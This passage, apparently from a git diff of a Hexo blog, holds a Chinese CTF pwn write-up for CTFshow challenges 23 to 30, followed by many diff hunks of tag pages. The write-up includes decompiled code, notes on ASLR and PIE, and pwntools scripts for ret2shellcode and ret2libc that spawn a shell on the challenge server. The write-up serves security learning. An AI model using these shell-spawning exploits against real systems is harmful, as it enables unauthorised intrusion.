          int __cdecl main(int argc, const char **argv, const char **envp){  __gid_t v3; // eax  int v5; // [esp-Ch] [ebp-2Ch]  int v6; // [esp-8h] [ebp-28h]  int v7; // [esp-4h] [ebp-24h]  FILE *stream; // [esp+4h] [ebp-1Ch]  stream = fopen("/ctfshow_flag", (const char *)&unk_8048904);  if ( !stream )  {    puts("/ctfshow_flag: No such file or directory.");    exit(0);  }  fgets(flag, 64, stream);  signal(11, (__sighandler_t)sigsegv_handler);  v3 = getegid();  setresgid(v3, v3, v3, v5, v6, v7, v3);  puts((const char *)&unk_8048940);  puts((const char *)&unk_80489B4);  puts((const char *)&unk_8048A30);  puts((const char *)&unk_8048ABC);  puts((const char *)&unk_8048B4C);  puts((const char *)&unk_8048BD0);  puts((const char *)&unk_8048C64);  puts("    * *************************************                           ");  puts((const char *)&unk_8048D28);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : No canary found                                         ");  puts("    * *************************************                           ");  puts("How to input ?");  if ( argc > 1 )    ctfshow((char *)argv[1]);  return 0;}

          1.首先,程序尝试打开名为”/ctfshow_flag”的文件,并将文件指针赋值给 stream 变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。

          2.如果成功打开文件,程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。

          3.程序输出提示消息:”How to input ?”

          4.如果程序运行时传入了命令行参数( argc 大于1),则调用 ctfshow 函数,并将第一个命令行参数作为参数传递给该函数。

          跟进ctfshow函数

          char *__cdecl ctfshow(char *src){  char dest; // [esp+Ah] [ebp-3Eh]  return strcpy(&dest, src);}

          5.ctfshow 函数很简单,它接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后,它返回指向 dest 缓冲区的指针。

          ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!

          参数足够长溢出之后即可getFlag

          pwn24(ret2shellcode)

          你可以使用pwntools的shellcraft模块来进行攻击

          IDA 32位 仅部分开启RELRO保护 存在一个RWX权限的段,即可读可写可执行的段

          int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdin, 0, 1, 0);  setvbuf(stdout, 0, 2, 0);  puts((const char *)&unk_80486E0);  puts((const char *)&unk_8048754);  puts((const char *)&unk_80487D0);  puts((const char *)&unk_804885C);  puts((const char *)&unk_80488EC);  puts((const char *)&unk_8048970);  puts((const char *)&unk_8048A04);  puts("    * *************************************                           ");  puts((const char *)&unk_8048AC8);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : NX disabled & Has RWX segments                          ");  puts("    * *************************************                           ");  ctfshow(&argc);  return 0;}

          反编译没法跟进ctfshow

          .text:080484C6                 public ctfshow.text:080484C6 ctfshow         proc near               ; CODE XREF: main+132↓p.text:080484C6.text:080484C6 buf             = byte ptr -88h.text:080484C6 var_4           = dword ptr -4.text:080484C6.text:080484C6 ; __unwind {.text:080484C6                 push    ebp.text:080484C7                 mov     ebp, esp.text:080484C9                 push    ebx.text:080484CA                 sub     esp, 84h.text:080484D0                 call    __x86_get_pc_thunk_bx.text:080484D5                 add     ebx, 1B2Bh.text:080484DB                 sub     esp, 4.text:080484DE                 push    100h            ; nbytes.text:080484E3                 lea     eax, [ebp+buf].text:080484E9                 push    eax             ; buf.text:080484EA                 push    0               ; fd.text:080484EC                 call    _read           ; 调用read函数 将我们写入的读进去.text:080484F1                 add     esp, 10h.text:080484F4                 sub     esp, 0Ch.text:080484F7                 lea     eax, [ebp+buf]  ; 将我们输入赋给eax的[ebp+buf].text:080484FD                 push    eax             ; s.text:080484FE                 call    _puts   .text:08048503                 add     esp, 10h.text:08048506                 lea     eax, [ebp+buf].text:0804850C                 call    eax             ; 执行读入的内容.text:0804850E                 nop.text:0804850F                 mov     ebx, [ebp+var_4].text:08048512                 leave.text:08048513                 retn.text:08048513 ; } // starts at 80484C6.text:08048513 ctfshow         endp

          pwn文件的NX是关掉的,代表栈可执行。

          而开始我们将栈中地址ebp-0x88赋给eax,并在该地址里写入我们输入的东西,最后程序会执行这里边的东西,也就是会执行我们写入的东西,如果我们写入的是shellcode,那么程序也就会执行我们的shellcode!

          from pwn import *io = remote('pwn.challenge.ctf.show', 28127)# io = process('./../Challenge/ctfshow_pwn/pwn24')shellcode = asm(shellcraft.sh())io.sendline(shellcode)io.interactive()

          pwn25(ret2libc)

          开启NX保护,或许可以试试ret2libc

          int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdin, 0, 1, 0);  setvbuf(stdout, 0, 2, 0);  ctfshow();  logo();  write(0, "Hello CTFshow!\n", 0xEu);  return 0;}
          #ctfshowssize_t ctfshow(){  char buf; // [esp+0h] [ebp-88h]  return read(0, &buf, 0x100u);}

          通过ctfshow()函数,读入我们输入的字符串,注意看大家,读入的buf是132个长度,而read()函数限制我们读入的长度位0x100,也就是256个长度。代表肯定会溢出,这个地方就是利用点。

          具体攻击手法为:ret2libc

          即先找到栈溢出漏洞,通过write函数泄露 write 函数的真实地址,根据泄露的 write 函数地址,使用 LibcSearcher 来搜索 libc 库中相应的函数地址和字符串地址,获取 system 函数和”/bin/sh” 字符串的地址。构造新的 payload,使用泄露的 system 函数和 “/bin/sh” 字符串的地址来进行get shell

          from pwn import *from LibcSearcher import *context.log_level = 'debug'io = remote('pwn.challenge.ctf.show', 28288)#io = process('./../Challenge/ctfshow_pwn/pwn25')elf = ELF('./../Challenge/ctfshow_pwn/pwn25')offset = 0x88+0x4  # read_bufmain = elf.sym['main']puts_plt = elf.plt['puts']puts_got = elf.got['puts']payload = cyclic(offset)+p32(puts_plt)+p32(main)+p32(puts_got)io.sendline(payload)puts_addr = u32(io.recv()[0:4])print(hex(puts_addr))libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system = libc_base + libc.dump('system')bin_sh = libc_base + libc.dump('str_bin_sh')payload = cyclic(offset)+p32(system)+cyclic(4)+p32(bin_sh)io.sendline(payload)io.interactive()

          pwn26(ASLR)

          ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置,从而增加了利用软件漏洞进行攻击的难度。

          开启不同等级会有不同的效果:

          1. 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。
          2. 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
          3. 随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。
          4. 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程。

          在Linux中,ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况:

          0表示关闭ALSR

          1表示部分开启(将mmap的基址、stack和vdso页面随机化)

          2表示完全开启

          ALSRExecutablePLTHeapStackShared libraies
          0×××××
          1×××
          2××
          2+PIE

          直接运行

          Here is your ASLR level:2If the result is 0, then you get the correct flag!If not,you will get a fake flag!flag is :ctfshow{0x400687_0x400560_0x1df12a0_0x7d97260e3680}

          打开IDA看一下

          int __cdecl main(int argc, const char **argv, const char **envp){  void *ptr; // ST00_8  void *v4; // ST08_8  void *v5; // ST00_8  ptr = malloc(4uLL);  v4 = dlopen("/lib/x86_64-linux-gnu/libc.so.6", 258);  puts(s);  puts(asc_4008F0);  puts(asc_400970);  puts(asc_400A00);  puts(asc_400A90);  puts(asc_400B18);  puts(asc_400BB0);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Please confirm your ASLR level first !                  ");  puts("    * *************************************                           ");  puts("Here is your ASLR level:");  system("cat /proc/sys/kernel/randomize_va_space");  puts("If the result is 0, then you get the correct flag!");  puts("If not,you will get a fake flag!");  printf("flag is :ctfshow{%p", main, ptr);  printf("_%p", system);  printf("_%p", v5);  printf("_%p", v4);  puts("}");  free(v5);  return 0;}

          发现会打开/proc/sys/kernel/randomize_va_space 所以只需要把他值改为0即可 因为这里没有使用提供的虚拟机环境 所以flag不对

          ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

          pwn27

          int __cdecl main(int argc, const char **argv, const char **envp){  void *ptr; // ST00_8  void *v4; // ST08_8  void *v5; // ST00_8  ptr = malloc(4uLL);  v4 = dlopen("./libc-2.27.so", 258);  puts(s);  puts(asc_4008D0);  puts(asc_400950);  puts(asc_4009E0);  puts(asc_400A70);  puts(asc_400AF8);  puts(asc_400B90);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Please confirm your ASLR level first !                  ");  puts("    * *************************************                           ");  puts("Here is your ASLR level:");  system("cat /proc/sys/kernel/randomize_va_space");  puts("If the result is 0 or 1, then you get the correct flag!");  puts("If not,you will get a fake flag!");  printf("flag is :ctfshow{%p", main, ptr, v4);  printf("_%p", system);  printf("_%p", v5);  puts("}");  free(v5);  return 0;}

          改为0或1即可

          ctfshow{0x400687_0x400560_0x603260}

          pwn28

          运行直接给flagctfshow{0x400687_0x400560}

          pwn29(PIE)

          PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大
          增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。

          附件是64位elf,丢到IDA里,可以看到强制开启了ASLR的保护模式,之后用checksec命令输出附件的保护信息,最后直接给了flag的明文

          pwn30

          关闭PIE后 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。

          IDA 32位 部分RELRO开启

          int __cdecl main(int argc, const char **argv, const char **envp){  setvbuf(stdin, 0, 1, 0);  setvbuf(stdout, 0, 2, 0);  ctfshow(&argc);  puts((const char *)&unk_8048710);  puts((const char *)&unk_8048784);  puts((const char *)&unk_8048800);  puts((const char *)&unk_804888C);  puts((const char *)&unk_804891C);  puts((const char *)&unk_80489A0);  puts((const char *)&unk_8048A34);  puts("    * *************************************                           ");  puts((const char *)&unk_8048AF8);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : No Canary found & No PIE ");  puts("    * *************************************                           ");  write(0, "Hello CTFshow!\n", 0xEu);  return 0;}

          跟进ctfshow

          ssize_t ctfshow(){  char buf; // [esp+0h] [ebp-88h]  return read(0, &buf, 0x100u);}
          ]]>
          @@ -147,7 +174,7 @@ /2024/10/06/2024CNSS_Recruit/ -
          ]]> +
          ]]> diff --git a/tags/0xGame/index.html b/tags/0xGame/index.html index 756b75ef..5c63e363 100644 --- a/tags/0xGame/index.html +++ b/tags/0xGame/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          0xGame

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          0xGame

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/Anime/index.html b/tags/Anime/index.html index 13f5d03b..f4eab246 100644 --- a/tags/Anime/index.html +++ b/tags/Anime/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          Anime

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          Anime

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/BaseCTF/index.html b/tags/BaseCTF/index.html index b5f9045b..3a45f467 100644 --- a/tags/BaseCTF/index.html +++ b/tags/BaseCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          BaseCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          BaseCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/BuildCTF/index.html b/tags/BuildCTF/index.html index 64ef8f66..afc4761c 100644 --- a/tags/BuildCTF/index.html +++ b/tags/BuildCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          BuildCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          BuildCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/CNSS-Recruit/index.html b/tags/CNSS-Recruit/index.html index 02f16211..54cd5d15 100644 --- a/tags/CNSS-Recruit/index.html +++ b/tags/CNSS-Recruit/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          CNSS Recruit

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          CNSS Recruit

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/CTFshow/index.html b/tags/CTFshow/index.html index f99bd1de..f6cba155 100644 --- a/tags/CTFshow/index.html +++ b/tags/CTFshow/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/CTFshow/page/2/index.html b/tags/CTFshow/page/2/index.html index ab1e9f00..3c7211e0 100644 --- a/tags/CTFshow/page/2/index.html +++ b/tags/CTFshow/page/2/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          CTFshow

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          CTFshow

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/Campus/index.html b/tags/Campus/index.html index 4d5c9fa4..a4350c14 100644 --- a/tags/Campus/index.html +++ b/tags/Campus/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          Campus

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          Campus

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/JWT/index.html b/tags/JWT/index.html index 6c169cee..728bd29c 100644 --- a/tags/JWT/index.html +++ b/tags/JWT/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          JWT

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          JWT

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/Java/index.html b/tags/Java/index.html index c4d0593a..4cab6a89 100644 --- a/tags/Java/index.html +++ b/tags/Java/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/KaliLinux/index.html b/tags/KaliLinux/index.html index dc9f2f11..f4a44ab0 100644 --- a/tags/KaliLinux/index.html +++ b/tags/KaliLinux/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          KaliLinux

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          KaliLinux

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/MoeCTF/index.html b/tags/MoeCTF/index.html index 183c0dbb..2b57db5c 100644 --- a/tags/MoeCTF/index.html +++ b/tags/MoeCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          MoeCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          MoeCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/NewStarCTF/index.html b/tags/NewStarCTF/index.html index 3651a9dc..3f34a26e 100644 --- a/tags/NewStarCTF/index.html +++ b/tags/NewStarCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          NewStarCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          NewStarCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/PolarCTF/index.html b/tags/PolarCTF/index.html index 59fb3b41..4e165c5c 100644 --- a/tags/PolarCTF/index.html +++ b/tags/PolarCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          PolarCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          PolarCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/Rce/index.html b/tags/Rce/index.html index 5479da2e..048e80cc 100644 --- a/tags/Rce/index.html +++ b/tags/Rce/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          Rce

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          Rce

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/SHCTF/index.html b/tags/SHCTF/index.html index b6dd75eb..f9a09c5f 100644 --- a/tags/SHCTF/index.html +++ b/tags/SHCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          SHCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          SHCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/SJTU-x-ZJUCTF/index.html b/tags/SJTU-x-ZJUCTF/index.html index 27d31316..a9343cf2 100644 --- a/tags/SJTU-x-ZJUCTF/index.html +++ b/tags/SJTU-x-ZJUCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          SJTU x ZJUCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          SJTU x ZJUCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/Sql\346\263\250\345\205\245/index.html" "b/tags/Sql\346\263\250\345\205\245/index.html" index f4835c9a..3041a168 100644 --- "a/tags/Sql\346\263\250\345\205\245/index.html" +++ "b/tags/Sql\346\263\250\345\205\245/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          Sql注入

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          Sql注入

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/Test-your-nc/index.html b/tags/Test-your-nc/index.html index 83bc8f28..c2c5caa9 100644 --- a/tags/Test-your-nc/index.html +++ b/tags/Test-your-nc/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          Test_your_nc

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          Test_your_nc

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/YLCTF/index.html b/tags/YLCTF/index.html index 2f6f7e69..955a5ca9 100644 --- a/tags/YLCTF/index.html +++ b/tags/YLCTF/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          YLCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          YLCTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/http/index.html b/tags/http/index.html index 860b1518..426f7999 100644 --- a/tags/http/index.html +++ b/tags/http/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          http

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          http

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/index.html b/tags/index.html index 60263fdb..f0dfb020 100644 --- a/tags/index.html +++ b/tags/index.html @@ -36,11 +36,11 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          标签

          共计 40 个标签

          标签

          共计 40 个标签

          nginx+php

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          nginx+php

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/nodejs/index.html b/tags/nodejs/index.html index fb15d1a1..25762cf0 100644 --- a/tags/nodejs/index.html +++ b/tags/nodejs/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          nodejs

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          nodejs

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/php-unserialize/index.html b/tags/php-unserialize/index.html index a828b3e2..8b8ed15a 100644 --- a/tags/php-unserialize/index.html +++ b/tags/php-unserialize/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          php-unserialize

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          php-unserialize

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/php\347\211\271\346\200\247/index.html" "b/tags/php\347\211\271\346\200\247/index.html" index 5eb792d3..547a75a2 100644 --- "a/tags/php\347\211\271\346\200\247/index.html" +++ "b/tags/php\347\211\271\346\200\247/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          php特性

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          php特性

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/ssrf/index.html b/tags/ssrf/index.html index f27825f8..b3e64787 100644 --- a/tags/ssrf/index.html +++ b/tags/ssrf/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          ssrf

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          ssrf

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/ssti/index.html b/tags/ssti/index.html index 1168e462..c862b106 100644 --- a/tags/ssti/index.html +++ b/tags/ssti/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          ssti

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          ssti

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/xss/index.html b/tags/xss/index.html index 3c5ce9a1..0a3222d6 100644 --- a/tags/xss/index.html +++ b/tags/xss/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          xss

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          xss

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/tags/xxe/index.html b/tags/xxe/index.html index 5efaefbf..ba56fb42 100644 --- a/tags/xxe/index.html +++ b/tags/xxe/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          xxe

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          xxe

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" index 514a0cfb..a5ff1d38 100644 --- "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" +++ "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          代码审计

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          代码审计

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" "b/tags/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" index d268fbc7..255846bc 100644 --- "a/tags/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" +++ "b/tags/\344\277\241\346\201\257\346\224\266\351\233\206/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          信息收集

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          信息收集

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/\345\276\241\345\256\233\346\235\257/index.html" "b/tags/\345\276\241\345\256\233\346\235\257/index.html" index 37473359..4d49e628 100644 --- "a/tags/\345\276\241\345\256\233\346\235\257/index.html" +++ "b/tags/\345\276\241\345\256\233\346\235\257/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          御宛杯

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          御宛杯

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/tags/\346\226\207\344\273\266\344\270\212\344\274\240/index.html" "b/tags/\346\226\207\344\273\266\344\270\212\344\274\240/index.html" index 0959b97b..313c42ac 100644 --- "a/tags/\346\226\207\344\273\266\344\270\212\344\274\240/index.html" +++ "b/tags/\346\226\207\344\273\266\344\270\212\344\274\240/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          文件上传

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          文件上传

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
